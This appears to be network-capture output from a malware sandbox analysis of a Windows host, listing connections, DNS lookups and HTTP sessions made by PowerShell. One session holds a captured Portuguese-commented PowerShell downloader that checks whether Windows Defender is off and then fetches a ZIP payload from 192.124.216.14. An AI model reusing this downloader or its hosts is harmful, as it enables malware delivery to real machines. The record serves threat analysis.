Nov 26, 2024 08:57:06.042160034 CET	443	50091	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:06.342185020 CET	443	50092	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:06.345906019 CET	443	50092	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:06.346084118 CET	50092	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:06.346131086 CET	50092	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:06.346131086 CET	50092	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:06.346151114 CET	443	50092	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:06.346159935 CET	443	50092	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:06.405025959 CET	443	50089	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:06.405483007 CET	443	50089	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:06.405586958 CET	443	50089	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:06.405621052 CET	50089	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:06.405672073 CET	50089	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:06.408268929 CET	50089	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:06.408293009 CET	443	50089	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:06.408323050 CET	50089	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:06.408332109 CET	443	50089	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:06.852488041 CET	443	50093	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:06.854598999 CET	50093	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:06.854609966 CET	443	50093	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:06.855036974 CET	50093	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:06.855041981 CET	443	50093	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:07.297527075 CET	443	50093	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:07.300611973 CET	443	50093	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:07.300668955 CET	50093	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:07.300709009 CET	50093	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:07.300730944 CET	443	50093	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:07.300745964 CET	50093	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:07.300751925 CET	443	50093	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:07.415673018 CET	443	50094	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:07.418051958 CET	50094	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:07.418087006 CET	443	50094	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:07.418807983 CET	50094	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:07.418817043 CET	443	50094	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:07.852356911 CET	443	50094	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:07.852605104 CET	443	50094	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:07.852658033 CET	50094	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:07.852776051 CET	50094	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:07.852797985 CET	443	50094	13.107.246.63	192.168.2.4
Nov 26, 2024 08:57:07.852809906 CET	50094	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:57:07.852816105 CET	443	50094	13.107.246.63	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2024 08:54:06.903840065 CET	49982	53	192.168.2.4	1.1.1.1
Nov 26, 2024 08:54:07.045734882 CET	53	49982	1.1.1.1	192.168.2.4
Nov 26, 2024 08:54:09.923345089 CET	51053	53	192.168.2.4	1.1.1.1
Nov 26, 2024 08:54:10.062448025 CET	53	51053	1.1.1.1	192.168.2.4
Nov 26, 2024 08:54:18.926253080 CET	54959	53	192.168.2.4	1.1.1.1
Nov 26, 2024 08:54:18.926701069 CET	58356	53	192.168.2.4	1.1.1.1
Nov 26, 2024 08:54:19.095870972 CET	53	61162	1.1.1.1	192.168.2.4
Nov 26, 2024 08:54:19.147824049 CET	53	62048	1.1.1.1	192.168.2.4
Nov 26, 2024 08:54:19.430478096 CET	53	54959	1.1.1.1	192.168.2.4
Nov 26, 2024 08:54:19.430630922 CET	53	58356	1.1.1.1	192.168.2.4
Nov 26, 2024 08:54:21.991085052 CET	53	53143	1.1.1.1	192.168.2.4
Nov 26, 2024 08:54:22.397686005 CET	55796	53	192.168.2.4	1.1.1.1
Nov 26, 2024 08:54:22.398160934 CET	62130	53	192.168.2.4	1.1.1.1
Nov 26, 2024 08:54:22.540955067 CET	53	62130	1.1.1.1	192.168.2.4
Nov 26, 2024 08:54:22.541837931 CET	53	55796	1.1.1.1	192.168.2.4
Nov 26, 2024 08:54:23.326103926 CET	138	138	192.168.2.4	192.168.2.255
Nov 26, 2024 08:54:32.301937103 CET	53	61973	1.1.1.1	192.168.2.4
Nov 26, 2024 08:54:39.333816051 CET	53	62068	1.1.1.1	192.168.2.4
Nov 26, 2024 08:54:56.817416906 CET	56462	53	192.168.2.4	1.1.1.1
Nov 26, 2024 08:54:56.817642927 CET	58449	53	192.168.2.4	1.1.1.1
Nov 26, 2024 08:54:56.959963083 CET	53	56462	1.1.1.1	192.168.2.4
Nov 26, 2024 08:54:56.960453987 CET	53	58449	1.1.1.1	192.168.2.4
Nov 26, 2024 08:54:59.340384960 CET	53	58770	1.1.1.1	192.168.2.4
Nov 26, 2024 08:55:00.595609903 CET	53	64606	1.1.1.1	192.168.2.4
Nov 26, 2024 08:55:11.296653986 CET	58798	53	192.168.2.4	1.1.1.1
Nov 26, 2024 08:55:11.296958923 CET	55847	53	192.168.2.4	1.1.1.1
Nov 26, 2024 08:55:11.447336912 CET	53	58798	1.1.1.1	192.168.2.4
Nov 26, 2024 08:55:11.448303938 CET	53	55847	1.1.1.1	192.168.2.4
Nov 26, 2024 08:55:11.784455061 CET	53	54132	1.1.1.1	192.168.2.4
Nov 26, 2024 08:55:14.319479942 CET	53	61384	1.1.1.1	192.168.2.4
Nov 26, 2024 08:55:14.508297920 CET	61578	53	192.168.2.4	1.1.1.1
Nov 26, 2024 08:55:14.508447886 CET	50596	53	192.168.2.4	1.1.1.1
Nov 26, 2024 08:55:14.656260014 CET	53	61578	1.1.1.1	192.168.2.4
Nov 26, 2024 08:55:14.657464027 CET	53	50596	1.1.1.1	192.168.2.4
Nov 26, 2024 08:55:19.258297920 CET	53	63991	1.1.1.1	192.168.2.4
Nov 26, 2024 08:55:19.569214106 CET	53	65238	1.1.1.1	192.168.2.4
Nov 26, 2024 08:55:19.736128092 CET	54117	53	192.168.2.4	1.1.1.1
Nov 26, 2024 08:55:19.736289024 CET	62514	53	192.168.2.4	1.1.1.1
Nov 26, 2024 08:55:19.808551073 CET	53	59229	1.1.1.1	192.168.2.4
Nov 26, 2024 08:55:19.864006042 CET	53	64354	1.1.1.1	192.168.2.4
Nov 26, 2024 08:55:19.882977962 CET	53	54117	1.1.1.1	192.168.2.4
Nov 26, 2024 08:55:19.989806890 CET	53	62514	1.1.1.1	192.168.2.4
Nov 26, 2024 08:55:22.539042950 CET	53405	53	192.168.2.4	1.1.1.1
Nov 26, 2024 08:55:22.539191008 CET	54784	53	192.168.2.4	1.1.1.1
Nov 26, 2024 08:55:22.541882038 CET	53	57384	1.1.1.1	192.168.2.4
Nov 26, 2024 08:55:22.691040039 CET	53	54784	1.1.1.1	192.168.2.4
Nov 26, 2024 08:55:22.691072941 CET	53	53405	1.1.1.1	192.168.2.4
Nov 26, 2024 08:55:45.377613068 CET	54702	53	192.168.2.4	1.1.1.1
Nov 26, 2024 08:55:45.377731085 CET	54488	53	192.168.2.4	1.1.1.1
Nov 26, 2024 08:55:45.518079042 CET	53	54702	1.1.1.1	192.168.2.4
Nov 26, 2024 08:55:45.518763065 CET	53	54488	1.1.1.1	192.168.2.4
Nov 26, 2024 08:55:50.226521015 CET	53	50713	1.1.1.1	192.168.2.4
Nov 26, 2024 08:56:23.728024960 CET	53	63199	1.1.1.1	192.168.2.4
Nov 26, 2024 08:56:34.494765043 CET	53	57505	1.1.1.1	192.168.2.4
Nov 26, 2024 08:57:49.553940058 CET	53	60746	1.1.1.1	192.168.2.4
Nov 26, 2024 08:57:49.721539974 CET	53	59777	1.1.1.1	192.168.2.4
Nov 26, 2024 08:58:23.964984894 CET	138	138	192.168.2.4	192.168.2.255

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 26, 2024 08:55:14.319544077 CET	192.168.2.4	1.1.1.1	c225	(Port unreachable)	Destination Unreachable
Nov 26, 2024 08:55:19.990191936 CET	192.168.2.4	1.1.1.1	c22b	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 26, 2024 08:54:06.903840065 CET	192.168.2.4	1.1.1.1	0x4ba6	Standard query (0)	upload.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:54:09.923345089 CET	192.168.2.4	1.1.1.1	0xb4dc	Standard query (0)	i.ibb.co	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:54:18.926253080 CET	192.168.2.4	1.1.1.1	0x9782	Standard query (0)	yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:54:18.926701069 CET	192.168.2.4	1.1.1.1	0xa5b2	Standard query (0)	yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org	65	IN (0x0001)	false
Nov 26, 2024 08:54:22.397686005 CET	192.168.2.4	1.1.1.1	0xfe49	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:54:22.398160934 CET	192.168.2.4	1.1.1.1	0xa00a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 26, 2024 08:54:56.817416906 CET	192.168.2.4	1.1.1.1	0x71c7	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:54:56.817642927 CET	192.168.2.4	1.1.1.1	0x6bc2	Standard query (0)	drive.google.com	65	IN (0x0001)	false
Nov 26, 2024 08:55:11.296653986 CET	192.168.2.4	1.1.1.1	0x6fb9	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:55:11.296958923 CET	192.168.2.4	1.1.1.1	0x9dcf	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 26, 2024 08:55:14.508297920 CET	192.168.2.4	1.1.1.1	0xc5d6	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:55:14.508447886 CET	192.168.2.4	1.1.1.1	0x6b75	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 26, 2024 08:55:19.736128092 CET	192.168.2.4	1.1.1.1	0x7b36	Standard query (0)	blobcomments-pa.clients6.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:55:19.736289024 CET	192.168.2.4	1.1.1.1	0x8b31	Standard query (0)	blobcomments-pa.clients6.google.com	65	IN (0x0001)	false
Nov 26, 2024 08:55:22.539042950 CET	192.168.2.4	1.1.1.1	0xe0c0	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:55:22.539191008 CET	192.168.2.4	1.1.1.1	0x7d15	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 26, 2024 08:55:45.377613068 CET	192.168.2.4	1.1.1.1	0xff83	Standard query (0)	peoplestackwebexperiments-pa.clients6.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:55:45.377731085 CET	192.168.2.4	1.1.1.1	0x15c9	Standard query (0)	peoplestackwebexperiments-pa.clients6.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 26, 2024 08:54:07.045734882 CET	1.1.1.1	192.168.2.4	0x4ba6	No error (0)	upload.wikimedia.org		185.15.58.240	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:54:10.062448025 CET	1.1.1.1	192.168.2.4	0xb4dc	No error (0)	i.ibb.co		91.134.82.79	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:54:10.062448025 CET	1.1.1.1	192.168.2.4	0xb4dc	No error (0)	i.ibb.co		91.134.9.160	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:54:10.062448025 CET	1.1.1.1	192.168.2.4	0xb4dc	No error (0)	i.ibb.co		91.134.10.182	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:54:10.062448025 CET	1.1.1.1	192.168.2.4	0xb4dc	No error (0)	i.ibb.co		91.134.10.127	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:54:10.062448025 CET	1.1.1.1	192.168.2.4	0xb4dc	No error (0)	i.ibb.co		91.134.9.159	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:54:10.062448025 CET	1.1.1.1	192.168.2.4	0xb4dc	No error (0)	i.ibb.co		91.134.10.168	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:54:19.430478096 CET	1.1.1.1	192.168.2.4	0x9782	No error (0)	yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org		192.124.216.109	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:54:22.540955067 CET	1.1.1.1	192.168.2.4	0xa00a	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 26, 2024 08:54:22.541837931 CET	1.1.1.1	192.168.2.4	0xfe49	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:54:56.959963083 CET	1.1.1.1	192.168.2.4	0x71c7	No error (0)	drive.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:55:11.447336912 CET	1.1.1.1	192.168.2.4	0x6fb9	No error (0)	play.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:55:14.656260014 CET	1.1.1.1	192.168.2.4	0xc5d6	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:55:14.656260014 CET	1.1.1.1	192.168.2.4	0xc5d6	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:55:14.657464027 CET	1.1.1.1	192.168.2.4	0x6b75	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:55:19.882977962 CET	1.1.1.1	192.168.2.4	0x7b36	No error (0)	blobcomments-pa.clients6.google.com		172.217.19.234	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:55:22.691040039 CET	1.1.1.1	192.168.2.4	0x7d15	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:55:22.691072941 CET	1.1.1.1	192.168.2.4	0xe0c0	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 08:55:22.691072941 CET	1.1.1.1	192.168.2.4	0xe0c0	No error (0)	plus.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 26, 2024 08:55:45.518079042 CET	1.1.1.1	192.168.2.4	0xff83	No error (0)	peoplestackwebexperiments-pa.clients6.google.com		172.217.19.170	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

upload.wikimedia.org

i.ibb.co

yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org

https:

drive.google.com

www.google.com

apis.google.com

slscr.update.microsoft.com

otelrules.azureedge.net

192.124.216.14

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49894	192.124.216.14	80	6704	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 08:55:39.944571972 CET	180	OUT	GET /vd/sis/DownSistem.ps1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 192.124.216.14 Connection: Keep-Alive
Nov 26, 2024 08:55:41.288537979 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 25 Nov 2024 11:04:53 GMT ETag: "6c8-627bab3c02145" Accept-Ranges: bytes Content-Length: 1736 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 23 20 44 65 66 69 6e 65 20 61 20 55 52 4c 20 64 6f 20 61 72 71 75 69 76 6f 20 5a 49 50 20 65 20 6f 20 63 61 6d 69 6e 68 6f 20 64 65 20 64 65 73 74 69 6e 6f 0d 0a 24 7a 69 70 55 72 6c 20 3d 20 22 68 74 74 70 3a 2f 2f 31 39 32 2e 31 32 34 2e 32 31 36 2e 31 34 2f 76 64 2f 73 69 73 2f 73 69 73 74 65 6d 61 2e 7a 69 70 22 0d 0a 24 64 65 73 74 69 6e 61 74 69 6f 6e 46 6f 6c 64 65 72 20 3d 20 22 43 3a 5c 74 65 6d 70 22 0d 0a 24 7a 69 70 46 69 6c 65 50 61 74 68 20 3d 20 4a 6f 69 6e 2d 50 61 74 68 20 24 64 65 73 74 69 6e 61 74 69 6f 6e 46 6f 6c 64 65 72 20 22 73 69 73 74 65 6d 61 2e 7a 69 70 22 0d 0a 0d 0a 23 20 56 65 72 69 66 69 63 61 20 73 65 20 61 20 70 61 73 74 61 20 64 65 20 64 65 73 74 69 6e 6f 20 65 78 69 73 74 65 2c 20 73 65 6e e3 6f 20 61 20 63 72 69 61 0d 0a 69 66 20 28 2d 6e 6f 74 20 28 54 65 73 74 2d 50 61 74 68 20 24 64 65 73 74 69 6e 61 74 69 6f 6e 46 6f 6c 64 65 72 29 29 20 7b 0d 0a 20 20 20 20 4e 65 77 2d 49 74 65 6d 20 2d 50 61 74 68 20 24 64 65 73 74 69 6e 61 74 69 6f 6e 46 6f 6c 64 65 72 20 [TRUNCATED] Data Ascii: # Define a URL do arquivo ZIP e o caminho de destino$zipUrl = "http://192.124.216.14/vd/sis/sistema.zip"$destinationFolder = "C:\temp"$zipFilePath = Join-Path $destinationFolder "sistema.zip"# Verifica se a pasta de destino existe, seno a criaif (-not (Test-Path $destinationFolder)) { New-Item -Path $destinationFolder -ItemType Directory -Force \| Out-Null}# Funo para verificar se o Windows Defender est inativofunction Is-WindowsDefenderInactive { try { # Verifica o status do monitoramento em tempo real $realTimeProtection = Get-MpPreference \| Select-Object -ExpandProperty DisableRealtimeMonitoring return $realTimeProtection -eq $true } catch { Write-Output "Erro ao verificar o status do Windows Defender: $_" exit 1 }}# Verifica se o Windows Defender est inativoif (-not (Is-WindowsDefenderInactive)) { Write-Output "Windows Defender est ativo. Nada ser feito."
Nov 26, 2024 08:55:41.288583994 CET	761	IN	Data Raw: 0d 0a 20 20 20 20 65 78 69 74 20 30 0d 0a 7d 0d 0a 0d 0a 23 20 53 65 20 6f 20 44 65 66 65 6e 64 65 72 20 65 73 74 69 76 65 72 20 69 6e 61 74 69 76 6f 2c 20 62 61 69 78 61 20 6f 20 61 72 71 75 69 76 6f 20 5a 49 50 0d 0a 74 72 79 20 7b 0d 0a 20 20 Data Ascii: exit 0}# Se o Defender estiver inativo, baixa o arquivo ZIPtry { Invoke-WebRequest -Uri $zipUrl -OutFile $zipFilePath -UseBasicParsing Write-Output "Arquivo baixado com sucesso: $zipFilePath"} catch { Write-Outpu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	50002	192.124.216.14	80	1360	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 08:56:23.934866905 CET	172	OUT	GET /ana/index.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 192.124.216.14 Connection: Keep-Alive
Nov 26, 2024 08:56:25.435734034 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:56:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.15.58.240	443	6344	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:54:08 UTC	146	OUT	GET /wikipedia/commons/3/3f/Windows-loading-cargando.gif HTTP/1.1 User-Agent: Mozilla/5.0 Host: upload.wikimedia.org Connection: Keep-Alive
2024-11-26 07:54:09 UTC	1032	IN	HTTP/1.1 200 OK content-type: image/gif x-object-meta-sha1base36: hlcbiggihc3sfhm0dq9fxnc75spc9zj etag: b3ac83c59a1d981725a72b9a6851edec last-modified: Sat, 03 Aug 2024 10:31:17 GMT content-length: 45632 date: Tue, 26 Nov 2024 07:54:09 GMT server: envoy age: 0 x-cache: cp6008 miss, cp6008 miss x-cache-status: miss server-timing: cache;desc="miss", host;desc="cp6008" strict-transport-security: max-age=106384710; includeSubDomains; preload report-to: { "group": "wm_nel", "max_age": 604800, "endpoints": [{ "url": "https://intake-logging.wikimedia.org/v1/events?stream=w3c.reportingapi.network_error&schema_uri=/w3c/reportingapi/network_error/1.0.0" }] } nel: { "report_to": "wm_nel", "max_age": 604800, "failure_fraction": 0.05, "success_fraction": 0.0} x-client-ip: 8.46.123.75 x-content-type-options: nosniff access-control-allow-origin: * access-control-expose-headers: Age, Date, Content-Length, Content-Range, X-Content-Duration, X-Cache timing-allow-origin: * accept-ranges: bytes connection: close
2024-11-26 07:54:09 UTC	13876	IN	Data Raw: 47 49 46 38 39 61 80 00 80 00 f4 10 00 cc cc cc e4 e4 e4 f4 f4 f4 fc fc fc 6c 6c 6c ec ec ec 8c 8c 8c d4 d4 d4 84 84 84 c4 c4 c4 dc dc dc bc bc bc b4 b4 b4 7c 7c 7c 94 94 94 74 74 74 ac ac ac 9c 9c 9c a4 a4 a4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 ff 0b 49 6d 61 67 65 4d 61 67 69 63 6b 0e 67 61 6d 6d 61 3d 30 2e 34 35 34 35 34 35 00 21 f9 04 09 04 00 10 00 2c 00 00 00 00 80 00 80 00 00 05 ff 20 24 8e 64 69 9e 68 aa a2 84 93 10 c4 2a cf 74 6d df 78 89 28 43 3f 08 87 58 6e 48 2c 1a 65 0d 81 6f 19 38 3a 9f 50 db 61 49 45 44 af d8 2b 81 4a 55 64 bf e0 a1 83 bb 14 08 c3 e8 34 2a 41 5e 9e d5 70 f5 b6 fd 7b c7 ef 25 02 03 70 Data Ascii: GIF89alll\|\|\|ttt!NETSCAPE2.0!ImageMagickgamma=0.454545!, $dihtmx(C?XnH,eo8:PaIED+JUd4A^p{%p
2024-11-26 07:54:09 UTC	16320	IN	Data Raw: 69 9e 68 aa 96 04 91 1c 06 b1 ce 74 6d df b8 ed 14 43 3f 08 80 9c 70 48 2c ae 0c be e4 e0 60 6c 3a 9f 2b 02 4f e9 93 41 af 58 23 92 ea 0b 66 bf e0 9a 82 eb 2b 84 cf 68 53 80 dc 2b 58 d3 70 30 80 3d 50 c4 ef df 2d 79 81 ef 43 09 02 6c 6f 43 10 83 7e 71 0e 64 09 45 08 6b 02 01 0b 86 87 67 08 00 53 40 0d 44 04 07 54 02 08 93 77 2d 08 92 37 52 64 02 a4 a0 aa 2a 73 6c 5e ab b0 2b 63 6c 76 b1 b6 28 b3 64 01 b7 bc 25 6b 6c 6e bd c2 ad 64 4c c2 bd a6 64 99 c7 c8 b9 49 7c cc c7 c4 3d c6 d1 c7 0e 01 07 91 d6 dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef 4f 04 08 2f 0a 0c a9 f0 4e 0d 81 49 05 10 f8 59 80 f6 fc bb a2 a7 d3 bd 81 38 9c 51 71 80 b0 49 40 5a 0d 8d 10 a0 53 27 a2 11 85 4a a0 8d 68 d1 c2 22 8d 44 82 48 58 2a 50 20 c0 32 8f 29 1e ca 52 a9 36 Data Ascii: ihtmC?pH,`l:+OAX#f+hS+Xp0=P-yCloC~qdEkgS@DTw-7Rdsl^+clv(d%klndLdI\|=O/NIY8QqI@ZS'Jh"DHXP 2)R6
2024-11-26 07:54:09 UTC	15436	IN	Data Raw: 92 d4 9e 43 be 4a 6f 2a 82 77 45 a3 ca 49 10 0e 0d a8 f8 92 4b 13 3e f7 6a 2a 92 06 e7 a3 4e 3f cd fe fd dc 74 13 d9 82 a1 b4 5a 44 90 85 94 0a c3 a6 44 3b 09 28 10 01 aa 22 91 34 ad 2e b1 15 4a eb 19 91 3b 00 7a 5d d2 f1 50 c3 b1 41 ca f2 39 8b f6 a1 4c b6 6d 6d 10 38 46 06 6e dc 1a fe ae e4 bc 8b 24 2f b2 94 7c 85 d4 d3 21 2a b0 14 02 08 0d 98 0b 01 00 21 ff 0b 49 6d 61 67 65 4d 61 67 69 63 6b 0e 67 61 6d 6d 61 3d 30 2e 34 35 34 35 34 35 00 21 f9 04 09 04 00 13 00 2c 0c 00 01 00 73 00 3e 00 00 05 ff e0 24 8e 64 69 9e 68 aa 9a 04 03 2c 6b 2c cf 74 6d af 44 31 ec 83 72 ff c0 a0 88 40 10 92 74 bc 9d a2 68 6c 3a 47 06 85 40 10 38 20 84 87 64 32 f0 78 7a 83 59 ed c0 01 44 88 93 be af 9a 16 16 17 98 b6 c4 99 27 80 af ef 27 c3 7c 77 bd c9 f7 75 78 82 26 01 7b Data Ascii: CJowEIK>jN?tZDD;("4.J;z]PA9Lmm8Fn$/\|!*!ImageMagickgamma=0.454545!,s>$dih,k,tmD1r@thl:G@8 d2xzYD''\|wux&{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	91.134.82.79	443	6344	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:54:11 UTC	99	OUT	GET /41J4DHL/logo.png HTTP/1.1 User-Agent: Mozilla/5.0 Host: i.ibb.co Connection: Keep-Alive
2024-11-26 07:54:11 UTC	379	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 26 Nov 2024 07:54:11 GMT Content-Type: image/png Content-Length: 71977 Connection: close Last-Modified: Wed, 13 Nov 2024 16:24:10 GMT Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cache-Control: public Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Accept-Ranges: bytes
2024-11-26 07:54:11 UTC	3717	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 06 00 00 00 f4 78 d4 fa 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 1c 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 46 69 72 65 77 6f 72 6b 73 20 43 53 36 e8 bc b2 8c 00 00 00 48 70 72 56 57 78 9c ed ce 41 0d 80 30 14 05 b0 27 05 0b 38 c1 c2 0e 84 eb 14 22 80 cc 0b 0e d8 82 8a 7f 69 15 f4 f9 ee 37 3d 7d fe 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 c4 91 96 2b 67 b6 ec d5 15 0a 2c 98 a4 0b eb 59 fc 16 50 00 00 00 48 6d 6b 42 46 fa de ca fe 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PNGIHDRxsBIT\|dpHYs~tEXtSoftwareAdobe Fireworks CS6HprVWxA0'8"i7=}F+g,YPHmkBF
2024-11-26 07:54:11 UTC	4096	IN	Data Raw: eb dc 33 56 82 d1 43 1e 8f b8 bd 08 27 41 b7 f9 8d 2b c6 a9 dc 75 ee 19 a7 6f 63 23 1f b0 0b 67 f6 37 94 85 c8 b2 44 0a 38 5d 6f 43 df 31 33 e8 36 cd c5 f1 41 4d a9 72 eb ba c9 3d e3 fc 52 c2 39 86 70 d1 e8 f9 63 d4 96 b1 6e ba 6e 16 0c 13 1f aa 93 95 6d f9 cc 5c b4 57 7c a3 0d d1 ec 7d ca a9 a5 a4 12 4a 7c 0c ad 96 a2 91 d4 d4 2d 4f 36 24 a2 a1 c8 18 b7 9b c6 38 6b 28 32 a6 b6 0f bf d4 43 51 c3 9d 7a ba 91 35 14 a5 2f 6c c8 2d 2a 35 92 6e 74 f3 ef 59 37 9e 70 dd c0 8c 4d 36 bb 8d ef 5a fd b5 48 23 54 a6 a5 19 af 94 ad 0f 3b 66 7d b8 39 a6 89 6c 94 ea 3f b6 a2 cb 66 5a ac a2 39 a5 d4 61 73 db 7e cf ba b0 15 ea 02 be dd f4 96 7c d9 02 3d 68 5b 6d 18 91 b2 ba 96 6d e2 bf ac ae 35 76 c6 d6 d8 c8 ea 5a f4 5f 56 d7 9a 4c f1 9f 12 8b 96 8e ff 4a aa c2 46 37 7f 